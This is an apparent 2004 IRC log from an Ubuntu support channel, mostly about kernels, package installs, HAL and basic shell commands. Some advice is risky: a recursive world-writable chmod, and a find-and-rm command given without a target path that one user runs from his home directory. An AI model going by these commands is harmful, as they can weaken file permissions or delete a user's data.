[06:22] <leaf_> that is installed by default
[06:23] <KoYoTe_K> I sit it do not speak English much probably be wrong on having written
[06:24] <chibifs> http://babelfish.altavist.com :P
[06:24] <chibifs> altavista.com*
[06:24] <KoYoTe_K> hahaha
[06:25] <KoYoTe_K> =(
[06:25] <nomasteryoda> nite
[06:25] <chibifs> That was some fun IM'ing.
[06:26] <dewey> KoYoTe_K: I installed mplayer from source in ubuntu and it works great :)
[06:29] <Se7h> can someone clarify one thing for me
[06:30] <Se7h> what does this actualy means ?
[06:30] <Se7h>  Enter the interface which is used for using dynamic DNS service.
[06:30] <Se7h> sorry for OT
[06:31] <HrdwrBoB> Se7h: the interface which you want the ip of
[06:31] <HrdwrBoB> likely ppp0
[06:31] <Se7h> ah ok
[06:31] <Se7h> though so but didn't want to screw it up
[06:31] <Se7h> eth0 for me i guess
[06:34] <billytwowilly> is there an easy way to setup mounting of nfs file systems? a tool that will do it for me?
[06:35] <Se7h> i dont know any
[06:35] <Se7h> now a question related to ubuntu
[06:35] <Se7h> i've got Linux kernel image for version 2.6.8.1 on 386.
[06:35] <mbp__> billytwowilly: vi? :-)
[06:35] <stuNNed> will hoary have DSDT support compiled into it's native kernel?
[06:36] <Se7h> if i replace it for Linux kernel image for version 2.6.8.1 on AMD K7.
[06:36] <Se7h> what do i have to do besides a reboot
[06:36] <Se7h> ?
[06:36] <dasenjo> Hi, how are you ? I still cant download ubuntu with jigdo .. error: "Aaargh - 69 files could not be downloaded."
[06:36] <ficusplanet> Se7h, Just pick it from the boot menu.
[06:37] <Se7h> hmmm
[06:37] <Se7h> but wont it need to be compiled or somethin' ?
[06:38] <mercurus> Se7h: a kernel image is pre-compiled into a binary and modules ... to save the hassle of compiling it locally
[06:38] <dasenjo> some mirror administrator ? I almost sure that is not my problem ..
[06:38] <Se7h> thanks mercurus
[06:38] <Se7h> just to make sure
[06:38] <Se7h> im always afraid of screwing this up ;P
[06:39] <Se7h> but will grub be auto-updated ?
[06:39] <ficusplanet> Yup.
[06:39] <hypa7ia> ugh, i have to patch my kernel
[06:39] <hypa7ia> stoopid acpi
[06:40] <Se7h> ficusplanet was that for me ?
[06:40] <mercurus> Se7h: probably, it depends on the kernel package maintainer ...
[06:40] <ficusplanet> Se7h, yes.
[06:40] <ficusplanet> Se7h, dpkg, when installing the package will run grub-update automatically.
[06:41] <Se7h> hm ok then
[06:41] <dasenjo> can someone answer me ? I want to try ubuntu release ... but the jigdo file is bad .. and I cant ..
[06:41] <Se7h> cause i got a bunch of kernel stuff i think it would be good to replace to my cpu type
[06:41] <Se7h> right?
[06:42] <hypa7ia> what's jigdo?
[06:42] <mercurus> dasenjo: try a different mirror ?
[06:42] <Se7h> i ask the same
[06:42] <dasenjo> hypa7ia, a program for downloading ..
[06:42] <hypa7ia> like wget?
[06:43] <ficusplanet> Se7h, You'll get slight performance boosts, yes.
[06:43] <dasenjo> mercurus, i tried three mirrors with the same problem ..
[06:43] <dasenjo> hypa7ia, its more specific ..
[06:43] <Se7h> k then
[06:43] <hypa7ia> perhaps you should thus conclude that the problem is not with the mirrors :-)
[06:43] <Se7h> i guess i'll just do that
[06:43] <dasenjo> hypa7ia, to download CD/DVD images ..
[06:44] <dasenjo> hypa7ia, or .. that all the mirrors have a bad .jigdo file ..
[06:44] <Se7h> i suppose when i select the k7 package to install, i've got to remove the 386
[06:44] <Se7h> right?
[06:44] <Se7h> (lol)
[06:45] <shaver> you can have both installed, I believe
[06:45] <ficusplanet> Se7h, Nope.
[06:45] <dasenjo> I download so much files .. but there are errors with 69 ..
[06:45] <ficusplanet> Se7h, You can have any number of kernel images installed
[06:45] <dasenjo> s/download/downloaded/
[06:45] <Se7h> oh i see
[06:45] <ficusplanet> Se7h, They are just added as entries on the boot menu.
[06:45] <regeya> dang, it's throwing exceptions like crazy
[06:46] <Se7h> makes sense
[06:46] <Se7h> but the fact of having to many
[06:46] <Gmail> hey
[06:46] <Se7h> wont affect the performance ?
[06:46] <Se7h> *too
[06:46] <shaver> no
[06:46] <gh0zt_cl> hi
[06:46] <ficusplanet> Se7h, There's no risk installed the k7 package.  If it doesn't work, just select the i386 package again.  No, have a lot of them doesn't affect performance.  They're just files on the hard drive.
[06:46] <stuNNed> hi ubuntu chann!
[06:46] <gh0zt_cl> did some one speak spanish?
[06:47] <hypa7ia> hablo un pocito
[06:47] <hypa7ia> no hay un channel ubuntu-es?
[06:47] <dasenjo> yo hablo espaol .. pero no he probado ubuntu ..
[06:47] <Se7h> hmmmkay ficusplanet thanks for the info
[06:47] <gh0zt_cl> i dunno
[06:47] <ficusplanet> Se7h, np
[06:47] <Se7h> dasenjo hello visinho
[06:47] <Se7h> lol
[06:48] <gh0zt_cl> tengo unas dudas con el soprte de hardware
[06:48] <stuNNed> say...i have package i need to compile against source of running kernel, how so in ubuntu!?!
[06:48] <Se7h> gh0zt_cl shoot
[06:49] <dasenjo> gh0zt_cl, entra a #ubuntu-es .. aunque hay muy pocas personas ..
[06:50] <Se7h> come again stuNNed ?
[06:50] <stuNNed> Se7h, need to compile something that looks for version.h in /usr/src/linux but how to install kernel-sources in debian i have no clue :)
[06:51] <Se7h> not that i can help much
[06:51] <Se7h> im a noob on this
[06:52] <Se7h> but i suppose u want apt-get
[06:52] <stuNNed> Se7h, think it's mkdpkg or something :)
[06:52] <Se7h> make debian pakage ?
[06:53] <stuNNed> i think so, Se7h
[06:53] <Se7h> "but how to install kernel-sources"
[06:53] <Se7h> u got to get them first
[06:53] <Se7h> i guess
[06:54] <stuNNed> Se7h, think it's `apt-get install kernel-source` or something then mkdpkg or something http://www.desktop-linux.net/debkernel.htm :)
[06:55] <Se7h> yes
[06:55] <ficusplanet> stuNNed, Install linux-source and linux-headers
[06:55] <Se7h> apt-get is for sure
[06:55] <shaver> tylerwylie: interesting; how much memory did that sake you?
[06:55] <shaver> save
[06:55] <tylerwylie> shaver, a LOT
[06:55] <stuNNed> ficusplanet, okie, i'll try!
[06:55] <shaver> like, 4M?
[06:55] <tylerwylie> shaver, it speeds up your distro too
[06:55] <ficusplanet> Well, it's looking like four more years of Bush.
[06:55] <tylerwylie> woohoo
[06:55] <shaver> what speedups do you see/
[06:55] <tylerwylie> shaver, boot time by 20 seconds
[06:56] <shaver> compile-time reductions? improved TPC?
[06:56] <tylerwylie> shaver, everything has more memory available
[06:56] <shaver> how much more memory, though?
[06:56] <stuNNed> ficusplanet, which kernel-headers though? :\
[06:56] <shaver> what's the difference in kernel-memory used between the kernels?
[06:56] <tylerwylie> didn't see how much ubuntu took
[06:56] <tylerwylie> it didnt' last long enough
[06:56] <tylerwylie> lol
[06:56] <ficusplanet> stuNNed, whichever ones match your running kernel
[06:56] <ficusplanet> stuNNed, run uname -r to figure that out, if you need to
[06:57] <Se7h> well
[06:57] <stuNNed> ficusplanet, there are none available for running kernel...
[06:57] <Se7h> downloaded and compiled
[06:57] <tylerwylie> shaver, no matter what i'm always gonna be using my own kernel, not what some distro thinks i should use
[06:57] <Se7h> i'll check it out on my next boot
[06:58] <ficusplanet> stuNNed, what is the output of uname -r
[06:58] <dasenjo> I dont wanna disturb .. but the iso CANT be downloaded with jigdo, I'm sure. Im going to download the iso directly ... thanks.
[06:59] <stuNNed> ficusplanet, 2.6.8.1-3-386
[06:59] <ficusplanet> Then you want to install linux-headers-2.6.8.1-3-386 and linux-source-2.6.8.1
[07:00] <stuNNed> ficusplanet, don't see them available, one sec
[07:00] <stuNNed> ficusplanet, yep, bash_completion says they are not avial
[07:01] <ficusplanet> Just look around in synaptic.  They are both part of the base, supported ubuntu repository.
[07:03] <stuNNed> ficusplanet, k thanks
[07:06] <ttikk> how do i get my airport card working on my powerbook laptop ?
[07:07] <ficusplanet> ttikk, Airport Extreme?  Or the older version?
[07:07] <ttikk> latest powerbook
[07:07] <ttikk> 12"
[07:07] <corbob> i have tried to mount a partition in my home directory as ~/music, but i can't write to it...
[07:07] <ubll> What are some reasons to use Ubuntu instead of MEPIS? Other than KDE/GNOME preference?
[07:07] <ficusplanet> ttikk, There are no drivers for the latest airport cards because they are based upon the closed broadcom chipset.
[07:08] <ttikk> that is lame as hell
[07:08] <ttikk> why don't they open them up ?
[07:08] <ficusplanet> ubll, Time-base, six-month release cycle.  Big, full-time stall.
[07:08] <corbob> as soon as i mount it, the user changes to be root...
[07:08] <ficusplanet> ttikk, They claim that they can't because the card CAN transmit on military frequencies.
[07:08] <corbob> oh nm i got it:)
[07:08] <ficusplanet> corbob, How is the partition entered in /etc/fstab
[07:09] <ficusplanet> corbob, cool
[07:09] <ttikk> any efforts to reverse engineer a driver ?
[07:09] <corbob> /dev/hda3       /home/corbob/music      ext3    rw,user        0       2
[07:09] <ubll> ficusplanet: interesting thanks.
[07:09] <ficusplanet> ttikk, Not that I know of.  Sorry.
[07:09] <corbob> i just sudo chown corbob:corbob music once i have mounted it
[07:09] <corbob> and now it seems i can mount and unmount it at will;)
[07:10] <dasenjo> where can I report the jigdo file problem ??
[07:10] <ttikk> what about my usb wireless card ?
[07:10] <ttikk> it is a no-name
[07:10] <hypa7ia> dasenjo: bugzilla?
[07:10] <ficusplanet> ttikk, I would need to know the chipset it is based upon.
[07:11] <ficusplanet> ttikk, Do you have the model number of the device?
[07:12] <dasenjo> hypa7ia, thanks ..
[07:12] <hypa7ia> no problem dasenjo, sorry i couldn't be any more helpful with the issue :-/
[07:13] <ermina> hi all
[07:14] <hypa7ia> allo ermina :-)
[07:14] <ermina> I've downloaded and install some packages. If I want to reinstall ubuntu, can I use downloaded files ?
[07:14] <ermina> I don't want to re download them
[07:14] <hypa7ia> i think to
[07:15] <hypa7ia> use dpkg --install package_name
[07:15] <hypa7ia> should work
[07:15] <ficusplanet> ermina, Burn the contents of /var/cache/apt/archives to a cd.
[07:15] <hypa7ia> oh, yeah that too :-)
[07:15] <ermina> some of the packages need other packages, is it already handled ?
[07:15] <tsblack> lo all
[07:16] <ficusplanet> ermina, Everything you've installed with apt-get or synaptic is in that folder.
[07:16] <tsblack> any tips on installing ubuntu on a combined ata / sata system.
[07:16] <hypa7ia> tsblack: which drive is / going on?
[07:17] <tsblack> Installer only gets as far as picking up the CD on the ata chain, but cant find the hd drives on sata
[07:17] <ermina> for example if I want to install an application, it would need any lib*
[07:17] <tsblack> The bios doesn
[07:17] <tsblack> doesn't support legacy mode for sata drives either, so not much option there...
[07:17] <hypa7ia> tsblack: http://www.linux.com/article.pl?sid=04/10/12/1424244 <-- sata issues
[07:17] <hypa7ia> tsblack: http://lists.slug.org.au/archives/slug/2004/10/msg00030.html <-- more sata
[07:18] <hypa7ia> hth
[07:18] <ficusplanet> ermina, If you've installed stuff with apt-get or synaptic, those tools would have download those dependencies to that directory as well.  So, upon reinstalling, just mount the cd, and in the directory run dpkg -i *.deb
[07:18] <corbob> is there a reason songs ripped with sound juicer are really bad...
[07:18] <ficusplanet> corbob, What do you mean by really bad?
[07:18] <hypa7ia> dumb question: does dpkg deal with dependencies like apt does?
[07:19] <ficusplanet> hypa7ia, Yes.
[07:19] <corbob> like distorted...
[07:19] <ermina> ficusplanet: even if I do fresh install, it would do the works?
[07:19] <corbob> at least the ogg files i've ripped with it...
[07:19] <corbob> or it might be rythm box...
[07:19] <ficusplanet> ermina, Yes.  All the archives that you've installed/needed from apt-get are in that folder and will be installed with the command I told you about.
[07:20] <ficusplanet> corbob, I've had similar troubles.  First, try playing the files with totem-xine.
[07:20] <ficusplanet> If that doesn't work, it must be sound-juicer.
[07:20] <tsblack> hypa7ia: yanking out the IDE drives isn't an option, the installer is running off an ide cdrom...
[07:20] <bob2> if you got rid of the "e", we could all vote for you
[07:21] <bob2> FICUS PLANT FOR PRESIDENT.
[07:21] <corbob> ficusplanet, i was just about to try that
[07:21] <corbob> no vote for me
[07:21] <Se7h> hmmm
[07:21] <Se7h> what do i do with this :
[07:21] <Se7h> Please enter user information for root access to the mysql database.
[07:21] <Se7h> The username is probably 'root', the password you should have set
[07:21] <bob2> read the README.Debian
[07:21] <hypa7ia> tsblack: i don't recall suggesting that....
[07:21] <Se7h> since root isnt activated
[07:21] <bob2>  /usr/share/doc/mysql-server/README.Debian
[07:22] <bob2> the mysql root user is completely unrelated to the ubuntu root user
[07:22] <ermina> thanks all
[07:23] <tsblack> hypa7ia: that's how they solved the problem in the first article...
[07:23] <hypa7ia> oh yeah :-)
[07:24] <hypa7ia> to elaborate:  i wasn't suggesting either as solutions, just that it's a known issue.  it's already been asked in this chan once this evening
[07:24] <hypa7ia> i don't relaly know any mroe about it than that tho
[07:24] <hypa7ia> not having an sata drive handy and all
[07:25] <tsblack> hypa7ia: Understood. I'm in SA with Mark for his Ubuntu launch over here and having a handful of hardware issues..
[07:26] <tsblack> Trying to resolve as quickly as possibl.
[07:26] <hypa7ia> gotcha
[07:26] <hypa7ia> sorry i couldn't help more... i'm a total n00b :-)
[07:26] <Ninjas-Rezatm> hey
[07:26] <Ninjas-Rezatm> does anyone download music in ubuntu??
[07:26] <ficusplanet> Ninjas-Rezatm, I do.
[07:28] <Ninjas-Rezatm> ficusplanet: what program do you use?
[07:28] <tsblack> join #warty
[07:29] <Se7h> brb
[07:29] <ficusplanet> Ninjas-Rezatm, for FastTrack (Kazaa), Gnutella, and OpenFT I use giFToxic.  For soulseek I use nicotine.  For bittorrent, I use gnome-btdownload.  For edonkey, I use xmule.
[07:29] <BigNastyKid909> what's the command for extracting .tar.gz??
[07:29] <Burgundavia> tar
[07:29] <Burgundavia> with some switches that I cannot remember now
[07:30] <BigNastyKid909> what options...
[07:30] <Ninjas-Rezatm> ficusplanet: thanks for all the info... im kinda limited to what can be installed via apt. since im so noob!
[07:30] <ficusplanet> Ninjas-Rezatm, Well, I'd just suggest starting with nicotine, then.  It's in the universe repository.
[07:31] <dasenjo> if anyone knows the website admin ... the bug exists and was opened on: 2004-10-27
[07:31] <|trey|> Anyone know why the Gaim text format bar in conversation windows is dulled out?
[07:32] <Ninjas-Rezatm> ficusplanet: thanks, just learning how to do this all
[07:32] <ficusplanet> |trey|, What protocol are you using?
[07:32] <dasenjo> the mail is lu [at]  canonical.com ...
[07:32] <mrpister> Extracting tar.gz: tar -xzvf
[07:32] <ficusplanet> Ninjas-Rezatm, No problem.  Let me know if I can help with anything.
[07:32] <|trey|> ficusplanet, doesn't appear to be protocol specific...
[07:32] <|trey|> ficusplanet, its dulled for all of the big 3, yahoo, MSN, and AIM
[07:34] <ficusplanet> |trey|, Strange.  I'm not sure what would cause that.  Sorry.  Maybe email the gaim mailing list.
[07:34] <corbob> i fixed it:)
[07:34] <ficusplanet> corbob, What was the problem?
[07:34] <corbob> it was neither rythm box or sound juicer
[07:34] <corbob> i had PCM and PCM 2 set to max
[07:34] <|trey|> ficusplanet, its the ubuntu version only... and Ubuntu is still at 1.0.0, so it would be disregarded if I asked Gaim folks...
[07:35] <corbob> i had to pull them down a little bit, and now there's no distortion:)
[07:35] <ficusplanet> corbob, Ha. Well, I'm glad you've got it fixed.
[07:35] <corbob> it was the distortion you get when you crank the sound on crappy speakers
[07:35] <corbob> except these are good headphones
[07:36] <Se7h> Linux devil 2.6.8.1-3-k7 #1 Tue Oct 12 14:12:34 BST 2004 i686 GNU/Linux
[07:36] <Se7h> :D
[07:36] <Se7h> nice
[07:37] <paulproteus> I installed Warty on two machines with 64MB of RAM.  GNOME is mostly unusable, and openoffice.org takes a full minute to load.  Are there any recommendations on either how to slim down an Ubuntu install, or on a minimum RAM size I can recommend?
[07:37] <BigNastyKid909> does anyone know the command for deleting a directory?
[07:37] <stuNNed> paulproteus, there is install doc at ubuntulinux.org for older machines
[07:37] <ficusplanet> rm -Rf dirname
[07:37] <BigNastyKid909> cool thanks
[07:38] <|trey|> paulproteus, use abiword/gnumeric/etc, and I would recommend no less then 128 for any modern desktop...
[07:38] <hypa7ia> paulproteus: and use xfce or fluxbox
[07:38] <hypa7ia> instead of full gnome
[07:39] <paulproteus> Will e.g. hotplug work then?
[07:39] <|trey|> hypa7ia, shudder @ fluxbox.
[07:39] <hypa7ia> |trey|: don;t like it?
[07:39] <paulproteus> stuNNed: I'm having some problems finding that.  Is it in the FAQ or the Wiki or where?
[07:40] <|trey|> paulproteus, yes... those are not GNOME specific...
[07:40] <bob2> paulproteus: yes
[07:40] <paulproteus> Okay, I'll keep all this in mind.  Thanks. :)
[07:41] <|trey|> hypa7ia, not at all... means you have to load X then when you first load an app, you must wait forever to load gtk libs etc the first time you run anything, annoying.
[07:41] <BigNastyKid909> ficusplanet: what's the command for deleting multiple files???
[07:41] <|trey|> hypa7ia, would be fine I guess if you loaded gnome-session and kinit during start, but I never think of that while I am using flux  :/
[07:41] <paulproteus> BigNastyKid909: Like rm file1 file2 file3 ?
[07:41] <bob2> paulproteus: but things won't automount etc
[07:41] <BigNastyKid909> yah
[07:41] <ficusplanet> BigNastyKid909, rm file1 file2
[07:42] <BigNastyKid909> oh ok
[07:42] <BigNastyKid909> thanks
[07:42] <stuNNed> paulproteus, i can't find it either :|
[07:42] <paulproteus> bob2: That's what I meant by hotplug, you're right. ;)
[07:42] <|trey|> bob2, actually they will.. he just won't get an icon on the desktop  ;)
[07:42] <paulproteus> Thanks for the clarification.
[07:42] <bob2> |trey|: no
[07:42] <bob2> gnome-volume-manager does the mounting
[07:42] <bob2> well, I'm almost certain
[07:42] <|trey|> bob2, umm, I spent a day trying to stop that action with XFce4  :/
[07:43] <BigNastyKid909> ficusplanet: will that be the same if i want to copy? cp file1 file2??
[07:43] <ficusplanet> BigNastyKid909, Yeah, cp file1 file2 destination
[07:44] <BigNastyKid909> cool thanks for the help
[07:44] <stuNNed> paulproteus, basically i think it's just setting up/installing icewm through synaptic, logging out then selecting icewm as your default desktop
[07:45] <|trey|> bob2, I removed hal, and things stopped mounting without me telling them too...
[07:45] <yohannes> hi guys, i have a basic q. when i restart my box, i selected the "save current setup". now everytime i restart apps that were running during the save, returned automatically. how can i reset this?
[07:45] <|trey|> bob2, afaik, gnome-volume-manager just handles the gnome side of handling media, displaying an icon, default app, things like that...
[07:47] <bohrbug> Would you say that Ubuntu as server only can safely be used in production just as Debian woody?
[07:47] <bohrbug> I am thinking of upgrading my woody server to ubuntu
[07:47] <Burgundavia> bohrbug: Do you need to?
[07:47] <paulproteus> borup: I'd switch it to Debian Testing if possible.
[07:47] <|trey|> bohrbug, no, debian woody has had much longer to find security holes and bugs...
[07:47] <ficusplanet> |trey|, g-v-m does more than that.  It is a policy manager on top of HAL. HAL simply sends events and g-v-m decides what to do in reaction to the events.  g-v-m, though, just silently stops working without hal.
[07:47] <paulproteus> That'll be the next release very soon, and has most of the trappings of Ubuntu Warty.
[07:47] <paulproteus> From the server end, that is.
[07:47] <BigNastyKid909> ficusplanet: one more question, if u don't mind, how do i rename a directory?
[07:48] <Burgundavia> bohrbug: If Woody is working fine, I wouldn't touch it
[07:48] <paulproteus> mv old_name new_name
[07:48] <BigNastyKid909> thanks paul
[07:48] <bohrbug> Burgundavia: Trouble is that woody apps lacks some functionality I need
[07:48] <paulproteus> bohrbug: I say this partially because I'm working on moving my server from Woody to Testing (soon to be released Sarge).
[07:48] <paulproteus> Because I need functionality :)
[07:49] <bohrbug> paulproteus: I have been thikning about the same, but decided to wait until official release
[07:49] <|trey|> paulproteus, risk vs functionality is a tough decision imo...
[07:49] <bob2> |trey|: no, hal sends a message to gnome-volume-manager
[07:50] <bohrbug> But, again, Ubuntu benefits from all security fixed of both sarge and woody
[07:51] <yohannes> hi guys, i have a basic q. when i restart my box, i selected the "save current setup". now everytime i restart, apps that were running during the save, returned automatically. how can i reset this?
[07:51] <billytwowilly>  how do I tell gnome to use a different app to open a file? select default applications is seriously lame.
[07:51] <paulproteus> billytwowilly: Right-click and choose "Open With"?
[07:51] <ficusplanet> billytwowilly, Right-click on the file and choose properties.  Go to the Open With tab.
[07:52] <|trey|> bob2, wouldn't that mean hal depends gnome-volume-manager? else where would it send the info? but it doesn't... it depends dbus... and g-v-m picks up that info... I dunno though, using XFce4, with hal installed for whatever reason, things mounted and it pissed me off... hal was deleted, this stopped...
[07:52] <billytwowilly> hmm. Thanks. I'm not sure if I like that more or less than the way KDE does it.
[07:52] <bob2> |trey|: no, that's not how dbus works
[07:52] <billytwowilly> Is there a way to get a quickbrowser dropdown window of a file system?
[07:53] <ficusplanet> |trey|, HAL, using dbus, says to anything listening, "Hey this device was plugged in." g-v-m is made to listen for those messsages and mount volumes accordingly.  The GNOME-specific stuff is a very small part of g-v-m.
[07:54] <|trey|> ficusplanet, umm... thats what I just said...
[07:54] <bob2> |trey|: no it's not
[07:54] <bob2> |trey|: hal sends the messages over dbus...if g-v-m is installed, it hears it and mounts stuff
[07:55] <corbob> http://whytheluckystiff.net/clog/proggies/whoaBeAHacker.html j00 2 c4|\| b33 4 h4x0r!!!
[07:55] <hypa7ia> that is awesome
[07:55] <|trey|> bob2, I'm not seeing a diff... but ok  :/
[07:56] <corbob> hypa7ia, what are you referring to?
[07:56] <|trey|> Maybe cuz I know what I meant though...
[07:56] <ficusplanet> |trey|, Yeah, it's easy to misunderstand each other over IRC.  Oh well.
[07:57] <bob2> |trey|: "wouldn't that mean hal depends gnome-volume-manager?".  no, hal doesn't give a fuck.  it broadcasts the message, if g-v-m is around, it gets it.  if not, the message disappears into the ether.
[07:57] <|trey|> bob2, guess you are being as picky as me though, so its ok...
[07:57] <hypa7ia> your link, corbob
[07:57] <bob2> |trey|: no, it's not pickiness, it's an important difference
[07:57] <corbob> that's what i thought but i wasn't sure
[07:57] <bob2> dbus will 0wn j00, you need to know how it works ;-)
[08:02] <|trey|> bob2, I know how it works... I read a lot about it... I didn't even state an action word though in actuality... I was just stating that hals functionality wasn't just for gnome-volume-manager.... I'm high, please don't make me think more  :(
[08:04] <bob2> yes, hal does lots of stuff
[08:04] <bob2> but g-v-m is in charge of mounting stuff
[08:05] <Gmail> bob2: i need to msg ya it will be offtopic here
[08:05] <bob2> Gmail: why?
[08:06] <|trey|> bob2, thats the part I am confused about... as I said, removing it while using XFce4 stopped (a cdrom) auto-mounting
[08:06] <Gmail> bob2: if i say why i might as well ask away the total offtopic stuff here (ebay related)
[08:07] <|trey|> bob2, didn't even know what gnome-volume-manager did at that point, let alone have it installed  :(
[08:07] <|trey|> Still don't know much about g-v-m, I should read about it, but yeah...
[08:08] <ficusplanet> |trey|, g-v-m is installed by default.  The reason removing HAL would dtop the mounting is that there would then be nothing sending out messages to g-v-m saying "Hey, this is plugged in."  So g-v-m would just kind of sit there.
[08:08] <|trey|> ficusplanet, this was regular Debian, I always know about every package installed when I use Debian... I kinda get obsessive about it even...
[08:09] <ficusplanet> Well, HAL alone does not mount anything.
[08:09] <|trey|> ficusplanet, no longer do that though, mainly cuz there is too much on an Ubuntu system I don't know about, and don't have time to read about them all right now  :(
[08:09] <bob2> |trey|: g-v-m's part of the ubuntu base system
[08:09] <ficusplanet> |trey|, HAL simply sends some messages about hardware using dbus. That all it does/can do.
[08:10] <Gmail> bob2: am i ignored?
[08:11] <|trey|> bob2, apt-cache show ubuntu-base | grep gnome-volume-manager  :/
[08:12] <Gmail> hey anyone here i can ask an opion one something for please pm me
[08:13] <ficusplanet> Gmail, Just ask.
[08:15] <|trey|> ficusplanet, as I said, I do know how dbus works... its the only thing we are talking about that I *have* read about...
[08:16] <Gmail> ficusplanet: i /msg you do you auto ignore them...?
[08:16] <ficusplanet> Gmail, No, just waiting for the page to load.
[08:17] <Gmail> ficusplanet: 18.8k? 28.8k?
[08:17] <|trey|> Gmail, if its computer related, just ask here... no one wants to talk to a stranger in private...
[08:17] <Gmail> ok
[08:17] <Gmail> its ebay related
 oki am going to sell linux distros on ebay
 tell me how you like my mepis template
 http://www.distros.uni.cc/ebay/mepis.html
 and what should be changed...
[08:18] <|trey|> Gmail, eh... ficusplanet seems to have a different feeling to me, nm...
[08:18] <Gmail> ok
[08:18] <ficusplanet> Gmail, I have a cable connection, but your page contains six ~500K images.
[08:19] <bob2> Gmail: I'm not going to be your ebay consultant, or spell checker, sorry
[08:20] <|trey|> Mepis is looking like Ubuntu using KDE... would be nice to have some communication there... could answer questions both likely recieve  :)
[08:20] <bob2> Gmail: please try to stay on topic
[08:20] <|trey|> (afaict, Mepis includes no GNOME or GTK by default)
[08:21] <|trey|> bob2, its my fault that he said it in the channel, sorry  :(
[08:21] <bob2> just don't encourage Gmail to rant about random off-topic stuff at all
[08:21] <Gmail> eeek mepis doesn't have gnome THAT SICK MINDED
[08:21] <bob2> 17:20:44           bob2 | Gmail: please try to stay on topic
[08:21] <Gmail> ficusplanet: LOL
[08:22] <bob2> if you want to generally chat about random stuff, try austnet or efnet or something.
[08:22] <Gmail> bob2: there all loser there they banned me from austnet for 2min for ask it
[08:23] <bob2> Gmail: I can't imagine why
[08:24] <|trey|> bob2, sarcasm is mean  >:)
[08:24] <bob2> Gmail: just stay on-topic please
[08:24] <bob2> mepis is off-topic
[08:24] <Gmail> bob2: anti-ubuntu they want me to tern to the dark side red hate
[08:24] <bob2> you trying to sell stuff on ebay is off-topic
[08:24] <bob2> you being banned for being verbose is off-topic
[08:24] <bob2> etc
[08:24] <|trey|> bob2, What I said is Ubuntu related though  :/
[08:24] <Gmail> bob2: that why i said it offtopic
[08:24] <bob2> Gmail: just don't bring it in here at all, please
[08:25] <bob2> |trey|: ubuntu-desktop
[08:25] <|trey|> bob2, ubuntu-desktop != ubuntu-base  ;)
[08:25] <Starseed> hello from the warty live-cd :)
[08:25] <bob2> yes, I know, but it's part of the default install
[08:26] <|trey|> bob2, [00:10]  <bob2> |trey|: g-v-m's part of the ubuntu base system  ... this is why I slapped myself for being argumentative...
[08:26] <bob2> bah
[08:26] <bob2> you're shockingly tedious
[08:26] <|trey|> ;)
[08:30] <tt1kk> i am pissed as fuck
[08:31] <tt1kk> that wifi won't work on the new powerbooks
[08:31] <tt1kk> :)
[08:31] <|trey|> tt1kk, not the best way to approach people you want help from...
[08:31] <tt1kk> how can i be helped ?
[08:32] <Pizbit> tt1kk: Changed the way you're pissed and get some vodka?
[08:32] <jdub> tt1kk: you can't be. get on the phone to broadcom, and let it out (diplomatically). :-)
[08:33] <ajmitch> evening
[08:33] <tt1kk> apple should have put all device drivers into darwin
[08:33] <ficusplanet> jdub, Nice to see you.  I've been wondering all night what _exactly_ the "SVG aware artwork" assigned to Mark Shuttleworth on the Hoary Goals page is.
[08:34] <|trey|> tt1kk, but then they don't get lock in with customers that buy airports... :/
[08:34] <tt1kk> what is the airport lockin ?
[08:35] <tt1kk> what model is it
[08:35] <tt1kk> that's the airport extreme ?
[08:35] <|trey|> tt1kk, ahh... wait, yeah, I wasn't here earlier... just saw what jdub said  :(
[08:41] <jason_> anybody here?
[08:41] <ficusplanet> yeah
[08:42] <jason_> wow it is silent in here
[08:42] <ficusplanet> Yeah, it just died down recently for some reason.  Been pretty active all night.
[08:48] <jason_> how do I change permissions of a folder to enable write access recrusively?
[08:49] <joolz> chmod -R ugo+w *
[08:49] <jason_> ty
[08:49] <joolz> do a man chmod first
[08:50] <jason_> thanks it worked
[08:51] <jason_> is there anyway that I can remove all filetypes except one in a folder recrusively?
[08:51] <jason_> should I man rm?
[08:52] <jesper> jason_, what do you mean by filetype?
[08:52] <jason_> I want to remove everything except my mp3s from my music folder
[08:53] <jesper> If there is a common extension, then you can do stuff like this..
[08:53] <dopey> find ! -file \*mp3 -exec rm "{}" \;
[08:53] <dopey> s/file/name/
[08:53] <jason_> rhythmbox wont load my library if I have anything but mp3s
[08:53] <jesper> find /mp3s -type f | egrep -v '*.mp3$' | xargs rm -f
[08:54] <dopey> jesper: that'll still have problems with files with spaces in the name
[08:54] <jesper> dopey, Sure, that's why i don't have any of them :-)
[08:55] <jason_> it didn't work
[08:55] <jason_> dopey and jester
[08:56] <jesper> jason_, do you have spaces in your filenames/directorynames?
[08:56] <jason_> yes
[08:58] <jesper> jason: then i'd go for dopey's soulution if I were you.
[08:58] <lhb> exit
[08:58] <lhb> oops
[09:00] <jason_> jason@ubuntu:~ $ find ! -file \*mp3 -exec rm "{}" \;s/home/jason/My\ Music/
[09:00] <jason_> find: invalid predicate `-file'
[09:00] <joolz> jason_: maybe --file
[09:01] <jesper> jason, -name
[09:01] <joolz> normally in parameters - is for abbrevations, -- for long names
[09:01] <jesper> not -file
[09:02] <jason_> jesper
[09:02] <jason_> jason@ubuntu:~ $ find ! -name \*mp3 -exec rm "{}" \;s/home/jason/My\ Music/
[09:02] <jason_> find: missing argument to `-exec'
[09:03] <jesper> You're missing a backslash..
[09:03] <jesper> http://www.athabascau.ca/html/depts/compserv/webunit/HOWTO/find.htm
[09:04] <jason_> where?
[09:04] <jesper> last, before ;
[09:05] <tt1kk> we need to promote XUL
[09:05] <tt1kk> if we want to stop microsoft from taking over internet apps with longhorn
[09:05] <tt1kk> mozilla has made XUL awesome, but no one knows about it
[09:08] <jesper> tt1kk, how is XUL better than perl or python?
[09:09] <billytwowilly> where can I find a deb of unrar?
[09:09] <tt1kk> XUL is just a standard way to describe user interfaces
[09:09] <tt1kk> the coding can still be done in python / perl
[09:09] <jason_> what about xaml
[09:09] <jason_> puts on flame suite
[09:09] <tt1kk> xaml is microsoft's stuff
[09:09] <tt1kk> they copied XUL
[09:10] <tt1kk> integrating it well with VB / C# to make a sell to developers
[09:10] <tt1kk> that's where we lack
[09:11] <Treenaks> tt1kk: GTK/Gnome# are well-integrated with C# now, aren't they?
[09:11] <tt1kk> let me show you what i mean
[09:11] <tt1kk> do you have firefox
[09:11] <__daniel> hai
[09:12] <tt1kk> http://www.faser.net/mab/chrome/content/mab.xul
[09:12] <ChrisH> Hi, folks. Ubuntu newbie here. :) Is Ubuntu based 100% on Debian or is it possible to contribute directly to Ubuntu? Background: I'm contributing to Debian but develop a more or less strong dislike for the "human structures" in there. :)
